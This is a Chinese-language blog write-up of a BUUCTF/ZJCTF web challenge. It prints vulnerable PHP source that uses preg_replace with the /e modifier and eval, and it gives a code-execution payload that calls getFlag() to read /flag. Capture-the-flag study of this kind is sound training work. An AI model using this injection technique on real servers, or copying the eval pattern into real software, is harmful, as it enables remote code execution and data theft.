zoukankan      html  css  js  c++  java
  • BUUCTF-web ZJCTF,不过如此

    很明显要利用伪协议读next.php

     base64解码后查看源码

     1 <?php
     2 $id = $_GET['id'];
     3 $_SESSION['id'] = $id;
     4 
     5 function complex($re, $str) {
     6     return preg_replace(
     7         '/(' . $re . ')/ei',
     8         'strtolower("\1")',
     9         $str
    10     );
    11 }
    12 
    13 
    14 foreach($_GET as $re => $str) {
    15     echo complex($re, $str). "
    ";
    16 }
    17 
    18 function getFlag(){
    19     @eval($_GET['cmd']);
    20 }

    可以看到。preg_replace函数加了/e。/e 修正符使 preg_replace() 将 replacement 参数(preg_replace 函数的第二个参数)当作 PHP 代码,导致命令执行。本题需要想办法调用getFlag()命令执行获取flag

    1 是一种后向引用,表示表达式中,从左往右数,第一个左括号对应的括号内的内容。
    以此类推,2表示第二个,表示整个表达式。在本题中对应着get的参数id。

    payload:S*=${getflag()}&cmd=readfile("/flag");

    为什么用"S*"做变量名 ? 

    "S"在正则中表示所有非空白字符,"S*"相当于匹配所有非空白字符串。这样就能匹配到getFlag(),结合前面的1,使我们能够控制preg_replace的第二个参数

    为什么要用${getflag()}?

    因为正则之后getflag()就是字符串,是不会被执行的。不加${}第二参数'strtolower("\1")'等价于'getflag()'。被解析成字符串。所以加上${}使getflag()先被执行。

    之后再用readfile读flag

    可参考:https://www.jb51.net/article/38714.htm

    7.0.0版本之后不再支持 /e修饰符。 需要用 preg_replace_callback() 代替。

  • 相关阅读:
    hdoj--2098--分拆素数和(水题)
    hdoj--5563--Clarke and five-pointed star(简单几何)
    zzulioj--1813--good string(模拟)
    docker(3)docker下的centos7下安装jdk
    docker(2)安装centos7镜像与容器管理
    docker安装
    大数据简介
    esper(1)-窗口概述
    idea(2)快捷键
    idea(1)-idea初装
  • 原文地址:https://www.cnblogs.com/remon535/p/12896732.html
Copyright © 2011-2022 走看看